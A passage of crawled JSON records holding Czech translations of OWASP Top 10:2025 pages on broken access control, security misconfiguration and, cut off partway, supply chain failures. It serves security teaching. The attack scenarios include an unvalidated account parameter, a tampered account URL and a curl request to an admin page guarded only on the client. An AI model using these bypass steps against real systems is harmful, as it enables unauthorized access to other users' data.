řízení přístupu (Broken Access Control)"}, {"uroven": 2, "text": "Pozadí"}, {"uroven": 2, "text": "Tabulka skóre"}, {"uroven": 2, "text": "Popis"}, {"uroven": 2, "text": "Jak tomu zabránit"}, {"uroven": 2, "text": "Příklady scénářů útoků"}, {"uroven": 2, "text": "Reference"}, {"uroven": 2, "text": "Seznam mapovaných CWE"}], "markdown": "# A01:2025 Nedostatky v řízení přístupu (Broken Access Control)\n\n## Pozadí\n\nTato kategorie si udržuje první místo v žebříčku Top Ten. U 100 % testovaných aplikací byla zjištěna určitá forma narušeného řízení přístupu. Mezi významné související slabiny (CWE) patří zejména *CWE-200: Exposure of Sensitive Information to an Unauthorized Actor*, *CWE-201: Exposure of Sensitive Information Through Sent Data*, *CWE-918 Server-Side Request Forgery (SSRF)* a *CWE-352: Cross-Site Request Forgery (CSRF)*. Tato kategorie vykazuje v poskytnutých datech nejvyšší počet výskytů a zároveň druhý nejvyšší počet souvisejících zranitelností (CVE).\n\n## Tabulka skóre\n\n| Počet mapovaných CWE | Max míra výskytu | Průměrná míra výskytu | Max pokrytí | Průměrné pokrytí | Průměrná vážená míra zneužitelnosti | Průměrný vážený dopad | Celkový počet výskytů | Celkový počet CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 40 | 20,15 % | 3,74 % | 100,00 % | 42,93 % | 7,04 | 3,84 | 1 839 701 | 32 654 |\n\n## Popis\n\nŘízení přístupu vynucuje bezpečnostní politiku tak, aby uživatelé nemohli vykonávat činnosti mimo rozsah jim určených oprávnění. Selhání řízení přístupu typicky vedou k neoprávněnému zpřístupnění informací, k neoprávněné změně nebo zničení dat, případně k provádění aplikačních nebo obchodních funkcí mimo oprávnění daného uživatele. Mezi běžné zranitelnosti v oblasti řízení přístupu patří:\n\n- Porušení principu nejmenších oprávnění (princip „deny by default“), kdy má být přístup povolen pouze ke konkrétním funkcím, rolím nebo uživatelům, avšak ve skutečnosti je dostupný komukoli.\n- Obcházení kontrol řízení přístupu úpravou URL (manipulace s parametry nebo force browsing), změnou vnitřního stavu aplikace nebo HTML stránky, případně použitím nástroje, který modifikuje API požadavky.\n- Umožnění zobrazení nebo úpravy cizího účtu na základě znalosti jeho jedinečného identifikátoru (Insecure Direct Object Reference – IDOR).\n- Veřejně přístupné API s chybějícími kontrolami řízení přístupu pro metody POST, PUT a DELETE.\n- Eskalace oprávnění, tedy jednání jako přihlášený uživatel bez autentizace nebo získání oprávnění nad rámec oprávnění odpovídajících přihlášenému uživateli (např. administrátorský přístup).\n- Manipulace s metadaty, například opakované použití nebo pozměnění přístupového tokenu JSON Web Token (JWT), manipulace s cookie nebo skrytým formulářovým polem za účelem zvýšení oprávnění, případně zneužití mechanismu zneplatňování JWT.\n- Chybná konfigurace CORS, která umožňuje přístup k API z neoprávněných nebo nedůvěryhodných zdrojů.\n- Force browsing (hádání URL) umožňující přístup k autentizovaným stránkám jako neautentizovaný uživatel nebo k privilegovaným stránkám jako běžný uživatel.\n\n## Jak tomu zabránit\n\nŘízení přístupu je účinné pouze tehdy, pokud je implementováno v důvěryhodném kódu na straně serveru nebo v serverless API, kde útočník nemůže ovlivnit samotnou kontrolu řízení přístupu ani související metadata.\n\n- S výjimkou veřejných zdrojů musí být přístup implicitně zakázán (deny by default).\n- Mechanismy řízení přístupu by měly být implementovány jednou a znovupoužitelné v celé aplikaci; zároveň by mělo být omezeno používání Cross-Origin Resource Sharing (CORS).\n- Řízení přístupu na úrovni aplikačních modelů musí vynucovat vazbu mezi uživatelem (nebo jiným subjektem) a konkrétními datovými záznamy, nikoli umožňovat uživatelům vytvářet, číst, upravovat nebo mazat libovolné záznamy.\n- Jedinečné byznys limity aplikace musí být vynucovány na úrovni doménových modelů.\n- Na webovém serveru musí být zakázán výpis adresářů a je nutné zajistit, aby se ve webovém kořeni nenacházela metadata repozitářů (např. .git) ani záložní soubory.\n- Porušení řízení přístupu musí být logována a v odůvodněných případech (např. při opakovaných selháních) musí být administrátoři upozorněni.\n- Pro přístup k API a kontrolerům musí být uplatněn rate limiting, aby se omezily dopady automatizovaných útočných nástrojů.\n- Stavové identifikátory relací musí být po odhlášení na straně serveru zneplatněny. Bezstavové tokeny JWT by měly mít krátkou dobu platnosti, aby se minimalizovalo časové okno pro jejich zneužití. U JWT s delší dobou platnosti je vhodné použít refresh tokeny a postupy dle standardů OAuth pro odvolání přístupu.\n- Doporučuje se používat zavedené knihovny nebo návrhové vzory, které poskytují jednoduché a deklarativní řízení přístupu.\n\nVývojáři i pracovníci QA by měli zahrnout funkční testování řízení přístupu do jednotkových i integračních testů.\n\n## Příklady scénářů útoků\n\n**Scénář #1:** Aplikace používá neověřená data v SQL dotazu, který přistupuje k informacím o účtu:\n\n```\npstmt.setString(1, request.getParameter(\"acct\"));\nResultSet results = pstmt.executeQuery();\n```\n\nÚtočník může jednoduše upravit parametr acct v prohlížeči a odeslat libovolné číslo účtu. Pokud není hodnota správně ověřena, útočník může získat přístup k účtu jiného uživatele.\n\n```\nhttps://example.com/app/accountInfo?acct=notmyacct\n```\n\n**Scénář #2:** Útočník jednoduše přistupuje k URL adresám přímo. Přístup na administrační stránku vyžaduje administrátorská oprávnění.\n\n```\nhttps://example.com/app/getappInfo\nhttps://example.com/app/admin_getappInfo\n```\n\nPokud má neautentizovaný uživatel přístup k některé z těchto stránek, jedná se o chybu. Pokud má uživatel bez administrátorských oprávnění přístup k administrační stránce, jedná se rovněž o chybu.\n\n**Scénář #3:** Aplikace má veškeré řízení přístupu implementováno pouze na straně klienta (front-endu). Přestože se útočník nemůže dostat na adresu `https://example.com/app/admin_getappInfo` kvůli JavaScriptovému kódu spuštěnému v prohlížeči, může jednoduše spustit následující příkaz z příkazové řádky:\n\n```\n$ curl https://example.com/app/admin_getappInfo\n```\n\n## Reference\n\n- [OWASP Proactive Controls: C1: Implement Access Control](https://top10proactive.owasp.org/archive/2024/the-top-10/c1-accesscontrol/)\n- [OWASP Application Security Verification Standard: V8 Authorization](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x17-V8-Authorization.md)\n- [OWASP Testing Guide: Authorization Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/README)\n- [OWASP Cheat Sheet: Authorization](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)\n- [PortSwigger: Exploiting CORS misconfiguration](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)\n- [OAuth: Revoking Access](https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/)\n\n## Seznam mapovaných CWE\n\n- [CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-23 Relative Path Traversal](https://cwe.mitre.org/data/definitions/23.html)\n- [CWE-36 Absolute Path Traversal](https://cwe.mitre.org/data/definitions/36.html)\n- [CWE-59 Improper Link Resolution Before File Access ('Link Following')](https://cwe.mitre.org/data/definitions/59.html)\n- [CWE-61 UNIX Symbolic Link (Symlink) Following](https://cwe.mitre.org/data/definitions/61.html)\n- [CWE-65 Windows Hard Link](https://cwe.mitre.org/data/definitions/65.html)\n- [CWE-200 Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\n- [CWE-201 Exposure of Sensitive Information Through Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-219 Storage of File with Sensitive Data Under Web Root](https://cwe.mitre.org/data/definitions/219.html)\n- [CWE-276 Incorrect Default Permissions](https://cwe.mitre.org/data/definitions/276.html)\n- [CWE-281 Improper Preservation of Permissions](https://cwe.mitre.org/data/definitions/281.html)\n- [CWE-282 Improper Ownership Management](https://cwe.mitre.org/data/definitions/282.html)\n- [CWE-283 Unverified Ownership](https://cwe.mitre.org/data/definitions/283.html)\n- [CWE-284 Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285 Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-352 Cross-Site Request Forgery (CSRF)](https://cwe.mitre.org/data/definitions/352.html)\n- [CWE-359 Exposure of Private Personal Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/359.html)\n- [CWE-377 Insecure Temporary File](https://cwe.mitre.org/data/definitions/377.html)\n- [CWE-379 Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n- [CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')](https://cwe.mitre.org/data/definitions/402.html)\n- [CWE-424 Improper Protection of Alternate Path](https://cwe.mitre.org/data/definitions/424.html)\n- [CWE-425 Direct Request ('Forced Browsing')](https://cwe.mitre.org/data/definitions/425.html)\n- [CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')](https://cwe.mitre.org/data/definitions/441.html)\n- [CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere](https://cwe.mitre.org/data/definitions/497.html)\n- [CWE-538 Insertion of Sensitive Information into Externally-Accessible File or Directory](https://cwe.mitre.org/data/definitions/538.html)\n- [CWE-540 Inclusion of Sensitive Information in Source Code](https://cwe.mitre.org/data/definitions/540.html)\n- [CWE-548 Exposure of Information Through Directory Listing](https://cwe.mitre.org/data/definitions/548.html)\n- [CWE-552 Files or Directories Accessible to External Parties](https://cwe.mitre.org/data/definitions/552.html)\n- [CWE-566 Authorization Bypass Through User-Controlled SQL Primary Key](https://cwe.mitre.org/data/definitions/566.html)\n- [CWE-601 URL Redirection to Untrusted Site ('Open Redirect')](https://cwe.mitre.org/data/definitions/601.html)\n- [CWE-615 Inclusion of Sensitive Information in Source Code Comments](https://cwe.mitre.org/data/definitions/615.html)\n- [CWE-639 Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)\n- [CWE-668 Exposure of Resource to Wrong Sphere](https://cwe.mitre.org/data/definitions/668.html)\n- [CWE-732 Incorrect Permission Assignment for Critical Resource](https://cwe.mitre.org/data/definitions/732.html)\n- [CWE-749 Exposed Dangerous Method or Function](https://cwe.mitre.org/data/definitions/749.html)\n- [CWE-862 Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)\n- [CWE-863 Incorrect Authorization](https://cwe.mitre.org/data/definitions/863.html)\n- [CWE-918 Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [CWE-922 Insecure Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/922.html)\n- [CWE-1275 Sensitive Cookie with Improper SameSite Attribute](https://cwe.mitre.org/data/definitions/1275.html)", "znaku_textu": 10610, "slov": 1104, "odkazu": 81, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:34", "sha256": "2e1d4b415dada44042fa2023eb4d62c535bf0cb05bf443a5cb0d5943b8d4b409", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c1-accesscontrol/", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x17-V8-Authorization.md", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties", "https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/", "https://cwe.mitre.org/data/definitions/22.html", "https://cwe.mitre.org/data/definitions/23.html", "https://cwe.mitre.org/data/definitions/36.html", "https://cwe.mitre.org/data/definitions/59.html", "https://cwe.mitre.org/data/definitions/61.html", "https://cwe.mitre.org/data/definitions/65.html", "https://cwe.mitre.org/data/definitions/200.html", "https://cwe.mitre.org/data/definitions/201.html", "https://cwe.mitre.org/data/definitions/219.html", "https://cwe.mitre.org/data/definitions/276.html", "https://cwe.mitre.org/data/definitions/281.html", "https://cwe.mitre.org/data/definitions/282.html", "https://cwe.mitre.org/data/definitions/283.html", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/352.html", "https://cwe.mitre.org/data/definitions/359.html", "https://cwe.mitre.org/data/definitions/377.html", "https://cwe.mitre.org/data/definitions/379.html", "https://cwe.mitre.org/data/definitions/402.html", "https://cwe.mitre.org/data/definitions/424.html", "https://cwe.mitre.org/data/definitions/425.html", "https://cwe.mitre.org/data/definitions/441.html", "https://cwe.mitre.org/data/definitions/497.html", "https://cwe.mitre.org/data/definitions/538.html", "https://cwe.mitre.org/data/definitions/540.html", "https://cwe.mitre.org/data/definitions/548.html", "https://cwe.mitre.org/data/definitions/552.html", "https://cwe.mitre.org/data/definitions/566.html", "https://cwe.mitre.org/data/definitions/601.html", "https://cwe.mitre.org/data/definitions/615.html", "https://cwe.mitre.org/data/definitions/639.html", "https://cwe.mitre.org/data/definitions/668.html", "https://cwe.mitre.org/data/definitions/732.html", "https://cwe.mitre.org/data/definitions/749.html", "https://cwe.mitre.org/data/definitions/862.html", "https://cwe.mitre.org/data/definitions/863.html", "https://cwe.mitre.org/data/definitions/918.html", "https://cwe.mitre.org/data/definitions/922.html", "https://cwe.mitre.org/data/definitions/1275.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/cs/A02_2025-Security_Misconfiguration/", "titulek": "A02 Chybná bezpečnostní konfigurace - OWASP Top 10:2025", "h1": "A02:2025 Chybná bezpečnostní konfigurace (Security Misconfiguration)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/cs/A02_2025-Security_Misconfiguration/", "jazyk": "cs", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A02:2025 Chybná bezpečnostní konfigurace (Security Misconfiguration)"}, {"uroven": 2, "text": "Pozadí"}, {"uroven": 2, "text": "Tabulka skóre"}, {"uroven": 2, "text": "Popis"}, {"uroven": 2, "text": "Jak tomu zabránit"}, {"uroven": 2, "text": "Příklady scénářů útoků"}, {"uroven": 2, "text": "Reference"}, {"uroven": 2, "text": "Seznam mapovaných CWE"}], "markdown": "# A02:2025 Chybná bezpečnostní konfigurace (Security Misconfiguration)\n\n## Pozadí\n\nTato kategorie se oproti předchozímu vydání posunula z 5. místa na vyšší 2. pozici. U 100 % testovaných aplikací byla zjištěna nějaká forma chybné konfigurace, s průměrnou mírou výskytu 3,00 % a s více než 719 tisíci výskyty slabin klasifikovaných podle Common Weakness Enumeration (CWE) v této rizikové kategorii. S rostoucím rozšířením vysoce konfigurovatelného softwaru není překvapivé, že tato kategorie v žebříčku stoupá. Mezi významné zjištěné slabiny patří zejména *CWE-16: Configuration* a *CWE-611: Improper Restriction of XML External Entity Reference (XXE)*.\n\n## Tabulka skóre\n\n| Počet mapovaných CWE | Max míra výskytu | Průměrná míra výskytu | Max pokrytí | Průměrné pokrytí | Průměrná vážená zneužitelnost | Průměrný vážený dopad | Celkový počet výskytů | Celkový počet CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 16 | 27,70 % | 3,00 % | 100,00 % | 52,35 % | 7,96 | 3,97 | 719 084 | 1 375 |\n\n## Popis\n\nChybná bezpečnostní konfigurace znamená, že systém, aplikace nebo cloudová služba jsou nakonfigurovány nesprávně z hlediska bezpečnosti, což vede ke vzniku zranitelností.\n\nAplikace je zranitelná, pokud například:\n\n- Chybí odpovídající bezpečnostní hardening v některé části aplikačního stacku nebo jsou nesprávně nakonfigurována oprávnění cloudových služeb.\n- Jsou povoleny nebo nainstalovány nepotřebné funkce, například nevyužívané porty, služby, stránky, účty, testovací frameworky nebo oprávnění.\n- Výchozí účty a jejich hesla zůstávají aktivní a nezměněná.\n- Chybí centrální konfigurace pro zachytávání příliš informativních chybových zpráv. Zpracování chyb odhaluje uživatelům výpisy zásobníku (stack trace) nebo jiné příliš informativní chybové zprávy.\n- U aktualizovaných systémů jsou nejnovější bezpečnostní funkce deaktivovány nebo nejsou nakonfigurovány bezpečně.\n- Přílišné upřednostňování zpětné kompatibility vedoucí k nezabezpečené konfiguraci.\n- Bezpečnostní nastavení aplikačních serverů, aplikačních frameworků (např. Struts, Spring, ASP.NET), knihoven, databází apod. nejsou nastavena na bezpečné hodnoty.\n- Server neodesílá bezpečnostní hlavičky nebo direktivy, nebo nejsou nastaveny na bezpečné hodnoty.\n\nBez koordinovaného a opakovatelného procesu bezpečnostního hardeningu konfigurace aplikací jsou systémy vystaveny zvýšenému riziku.\n\n## Jak tomu zabránit\n\nMěly by být implementovány bezpečné instalační procesy, včetně:\n\n- Opakovatelný proces hardeningu umožňující rychlé a snadné nasazení dalšího prostředí s odpovídajícím zabezpečením. Vývojové, testovací (QA) a produkční prostředí by měla být konfigurována shodně, přičemž v každém prostředí by se měly používat odlišné přihlašovací údaje. Tento proces by měl být automatizován, aby se minimalizovalo úsilí potřebné k nastavení nového bezpečného prostředí.\n- Minimální platforma bez zbytečných funkcí, komponent, dokumentace nebo ukázek. Odstraňte nebo neinstalujte nepoužívané funkce a frameworky.\n- Revize a aktualizace konfigurací v návaznosti na všechna bezpečnostní upozornění, aktualizace a záplaty jako součást procesu správy záplat (viz [A03:2025 Selhání dodavatelského řetězce softwaru](../A03_2025-Software_Supply_Chain_Failures/) ). Kontrola oprávnění cloudových úložišť (např. oprávnění S3 bucketů).\n- Segmentovanou architekturu aplikace, která zajišťuje účinné a bezpečné oddělení komponent nebo tenantů pomocí segmentace, kontejnerizace nebo cloudových bezpečnostních skupin (ACL).\n- Zasílání bezpečnostních direktiv klientům, např. bezpečnostních hlaviček (Security Headers).\n- Automatizovaný proces ověřování účinnosti konfigurací a nastavení ve všech prostředích.\n- Proaktivní zavedení centrální konfigurace pro zachytávání příliš informativních chybových hlášení jako záložního opatření.\n- Pokud tyto kontroly nejsou automatizované, měly by být alespoň jednou ročně prováděny manuálně.\n- Využívání federace identit, krátkodobě platných přihlašovacích údajů nebo mechanismů řízení přístupu založených na rolích poskytovaných podkladovou platformou namísto ukládání statických klíčů nebo tajných údajů (secrets) do zdrojového kódu, konfiguračních souborů nebo CI/CD pipeline.\n\n## Příklady scénářů útoků\n\n**Scénář #1:** Na aplikačním serveru zůstaly nasazeny ukázkové aplikace, které nebyly z produkčního prostředí odstraněny. Tyto aplikace obsahují známé bezpečnostní chyby, které mohou útočníci zneužít ke kompromitaci serveru. Pokud je jednou z těchto aplikací administrační konzole a výchozí účty nebyly změněny, útočník se přihlásí pomocí výchozích přihlašovacích údajů a převezme kontrolu.\n\n**Scénář #2:** Na serveru není zakázán výpis adresářů. Útočník zjistí, že může zobrazit seznam adresářů, nalezne a stáhne zkompilované třídy Java, které následně dekompiluje a analyzuje. Na základě toho odhalí závažnou chybu v řízení přístupu aplikace.\n\n**Scénář #3:** Konfigurace aplikačního serveru umožňuje zobrazování detailních chybových informací, například výpisů zásobníku (stack trace). Tím může dojít ke zpřístupnění citlivých informací nebo vnitřních nedostatků, například verzí použitých komponent, o nichž je známo, že jsou zranitelné.\n\n**Scénář #4:** Poskytovatel cloudových služeb (CSP) má ve výchozím nastavení povolena oprávnění ke sdílení otevřená do Internetu. To umožňuje přístup k citlivým datům uloženým v cloudovém úložišti.\n\n## Reference\n\n- [OWASP Testing Guide: Configuration Management](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n- [OWASP Testing Guide: Testing for Error Codes](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- [Application Security Verification Standard V13 Configuration](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x22-V13-Configuration.md)\n- [NIST Guide to General Server Hardening](https://csrc.nist.gov/publications/detail/sp/800-123/final)\n- [CIS Security Configuration Guides/Benchmarks](https://www.cisecurity.org/cis-benchmarks/)\n- [Amazon S3 Bucket Discovery and Enumeration](https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html)\n- ScienceDirect: Security Misconfiguration\n\n## Seznam mapovaných CWE\n\n- [CWE-5 J2EE Misconfiguration: Data Transmission Without Encryption](https://cwe.mitre.org/data/definitions/5.html)\n- [CWE-11 ASP.NET Misconfiguration: Creating Debug Binary](https://cwe.mitre.org/data/definitions/11.html)\n- [CWE-13 ASP.NET Misconfiguration: Password in Configuration File](https://cwe.mitre.org/data/definitions/13.html)\n- [CWE-15 External Control of System or Configuration Setting](https://cwe.mitre.org/data/definitions/15.html)\n- [CWE-16 Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-260 Password in Configuration File](https://cwe.mitre.org/data/definitions/260.html)\n- [CWE-315 Cleartext Storage of Sensitive Information in a Cookie](https://cwe.mitre.org/data/definitions/315.html)\n- [CWE-489 Active Debug Code](https://cwe.mitre.org/data/definitions/489.html)\n- [CWE-526 Exposure of Sensitive Information Through Environmental Variables](https://cwe.mitre.org/data/definitions/526.html)\n- [CWE-547 Use of Hard-coded, Security-relevant Constants](https://cwe.mitre.org/data/definitions/547.html)\n- [CWE-611 Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html)\n- [CWE-614 Sensitive Cookie in HTTPS Session Without 'Secure' Attribute](https://cwe.mitre.org/data/definitions/614.html)\n- [CWE-776 Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')](https://cwe.mitre.org/data/definitions/776.html)\n- [CWE-942 Permissive Cross-domain Policy with Untrusted Domains](https://cwe.mitre.org/data/definitions/942.html)\n- [CWE-1004 Sensitive Cookie Without 'HttpOnly' Flag](https://cwe.mitre.org/data/definitions/1004.html)\n- [CWE-1174 ASP.NET Misconfiguration: Improper Model Validation](https://cwe.mitre.org/data/definitions/1174.html)", "znaku_textu": 7896, "slov": 843, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:35", "sha256": "c3bec4beff40a56b08fbd6942527aca448058d3fb92c9b0d762dd37df89d47e9", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x22-V13-Configuration.md", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://www.cisecurity.org/cis-benchmarks/", "https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html", "https://cwe.mitre.org/data/definitions/5.html", "https://cwe.mitre.org/data/definitions/11.html", "https://cwe.mitre.org/data/definitions/13.html", "https://cwe.mitre.org/data/definitions/15.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/260.html", "https://cwe.mitre.org/data/definitions/315.html", "https://cwe.mitre.org/data/definitions/489.html", "https://cwe.mitre.org/data/definitions/526.html", "https://cwe.mitre.org/data/definitions/547.html", "https://cwe.mitre.org/data/definitions/611.html", "https://cwe.mitre.org/data/definitions/614.html", "https://cwe.mitre.org/data/definitions/776.html", "https://cwe.mitre.org/data/definitions/942.html", "https://cwe.mitre.org/data/definitions/1004.html", "https://cwe.mitre.org/data/definitions/1174.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/cs/A03_2025-Software_Supply_Chain_Failures/", "titulek": "A03 Selhání dodavatelského řetězce softwaru - OWASP Top 10:2025", "h1": "A03:2025 Selhání dodavatelského řetězce softwaru (Software Supply Chain Failures)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/cs/A03_2025-Software_Supply_Chain_Failures/", "jazyk": "cs", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A03:2025 Selhání dodavatelského řetězce softwaru (Software Supply Chain Failures)"}, {"uroven": 2, "text": "Pozadí"}, {"uroven": 2, "text": "Tabulka skóre"}, {"uroven": 2, "text": "Popis"}, {"uroven": 2, "text": "Jak tomu zabránit"}, {"uroven": 2, "text": "Příklady scénářů útoků"}, {"uroven": 2, "text": "Reference"}, {"uroven": 2, "text": "Seznam mapovaných CWE"}], "markdown": "# A03:2025 Selhání dodavatelského řetězce softwaru (Software Supply Chain Failures)\n\n## Pozadí\n\nTato položka byla nejvýše hodnocena v komunitním průzkumu Top 10, přičemž přesně 50 % respondentů ji zařadilo na 1. místo. Od svého prvního výskytu v Top 10 v roce 2013 jako „A9 – Používání komponent se známými zranitelnostmi“ se rozsah tohoto rizika rozšířil tak, aby zahrnoval veškerá selhání dodavatelského řetězce, nikoli pouze ta, která zahrnují známé zranitelnosti. Navzdory tomuto rozšířenému rozsahu zůstávají selhání dodavatelského řetězce výzvou z hlediska identifikace, přičemž pouze 11 položek Common Vulnerabilities and Exposures (CVE) má související CWE. Při testování a hlášení v poskytnutých datech však tato kategorie vykazuje nejvyšší průměrnou míru výskytu, a to 5,19 %. Relevantní CWE jsou *CWE-477: Use of Obsolete Function, CWE-1104: Use of Unmaintained Third Party Components, CWE-1329: Reliance on Component That is Not Updateable a CWE-1395: Dependency on Vulnerable Third-Party Component*.\n\n## Tabulka skóre\n\n| Počet mapovaných CWE | Max míra výskytu | Průměrná míra výskytu | Max pokrytí | Průměrné pokrytí | Průměrná vážená zneužitelnost | Průměrný vážený dopad | Celkový počet výskytů | Celkový počet CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 6 | 9,56 % | 5,72 % | 65,42 % | 27,47 % | 8,17 | 5,23 | 215 248 | 11 |\n\n## Popis\n\nSelhání dodavatelského řetězce softwaru jsou selhání nebo jiné kompromitace v procesu sestavování, distribuce nebo aktualizace softwaru. Často jsou způsobena zranitelnostmi nebo škodlivými změnami v kódu třetích stran, nástrojích nebo jiných závislostech, na nichž systém závisí.\n\nPravděpodobně jste zranitelní, pokud:\n\n- nesledujete pečlivě verze všech komponent, které používáte (na straně klienta i na straně serveru). To zahrnuje komponenty, které používáte přímo, i vnořené (tranzitivní) závislosti.\n- software je zranitelný, nepodporovaný nebo zastaralý. To zahrnuje operační systém, webový/aplikační server, systém správy databází (DBMS), aplikace, API a všechny komponenty, běhová prostředí a knihovny.\n- neprovádíte pravidelně skenování zranitelností a neodebíráte bezpečnostní bulletiny vztahující se ke komponentám, které používáte.\n- nemáte proces řízení změn nebo sledování změn v rámci svého dodavatelského řetězce, včetně sledování IDE, rozšíření IDE a aktualizací, změn v repozitáři kódu vaší organizace, sandboxů, repozitářů obrazů a knihoven, způsobu, jakým jsou artefakty vytvářeny a ukládány, atd. Každá část vašeho dodavatelského řetězce by měla být dokumentována, zejména změny.\n- nemáte hardenovanou každou část svého dodavatelského řetězce, se zvláštním zaměřením na řízení přístupu a uplatňování nejmenších oprávnění.\n- vaše systémy dodavatelského řetězce nemají žádné oddělení rolí. Žádná jednotlivá osoba by neměla být schopna napsat kód a povýšit jej až do produkce bez dohledu jiné lidské osoby.\n- komponenty z nedůvěryhodných zdrojů, napříč jakoukoli částí technologického stacku, jsou používány v produkčních prostředích nebo mohou mít na produkční prostředí dopad.\n- neopravujete nebo neupgradujete základní platformu, frameworky a závislosti včasným způsobem založeným na riziku. K tomu běžně dochází v prostředích, kde je záplatování měsíčním nebo čtvrtletním úkolem v rámci řízení změn, což ponechává organizace vystavené dnům nebo měsícům zbytečné expozice před opravou zranitelností.\n- vývojáři softwaru netestují kompatibilitu aktualizovaných, upgradovaných nebo záplatovaných knihoven.\n- nezabezpečujete konfigurace každé části svého systému (viz [A02:2025 - Chybná bezpečnostní konfigurace (Security Misconfiguration)](https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/) ).\n- vaše CI/CD pipeline má slabší zabezpečení než systémy, které sestavuje a nasazuje, zejména pokud je složitá.\n\n## Jak tomu zabránit\n\nMěl by být zaveden proces správy záplat za účelem:\n\n- Centrálně generovat a spravovat Software Bill of Materials (SBOM) celého vašeho softwaru.\n- Sledovat nejen vaše přímé závislosti, ale také jejich (tranzitivní) závislosti, a tak dále.\n- Snižovat útočnou plochu odstraňováním nepoužívaných závislostí, zbytečných funkcí, komponent, souborů a dokumentace.\n- Průběžně inventarizovat verze komponent na straně klienta i na straně serveru (např. frameworků, knihoven) a jejich závislostí pomocí nástrojů, jako jsou OWASP Dependency Track, OWASP Dependency Check, retire.js atd.\n- Průběžně monitorovat zdroje, jako jsou Common Vulnerabilities and Exposures (CVE), National Vulnerability Database (NVD) a [Open Source Vulnerabilities (OSV)](https://osv.dev/) , z hlediska zranitelností v komponentách, které používáte. K automatizaci procesu používat analýzu složení softwaru, nástroje pro dodavatelský řetězec softwaru nebo bezpečnostně zaměřené nástroje SBOM. Odebírat upozornění na bezpečnostní zranitelnosti související s komponentami, které používáte.\n- Získávat komponenty pouze z oficiálních (důvěryhodných) zdrojů přes zabezpečené odkazy. Upřednostňovat podepsané balíčky, aby se snížila pravděpodobnost zahrnutí pozměněné, škodlivé komponenty (viz [A08:2025-Software and Data Integrity Failures](https://owasp.org/Top10/2025/A08_2025-Software_or_Data_Integrity_Failures/) ).\n- Záměrně volit, kterou verzi závislosti používáte, a upgradovat pouze tehdy, když je to potřeba.\n- Monitorovat knihovny a komponenty, které nejsou udržované nebo nevytvářejí bezpečnostní záplaty pro starší verze. Pokud záplatování není možné, zvážit migraci na alternativu. Pokud to není možné, zvážit nasazení virtuální záplaty za účelem monitorování, detekce nebo ochrany proti zjištěnému problému.\n- Pravidelně aktualizovat vaše CI/CD, IDE a jakékoli další vývojářské nástroje.\n- 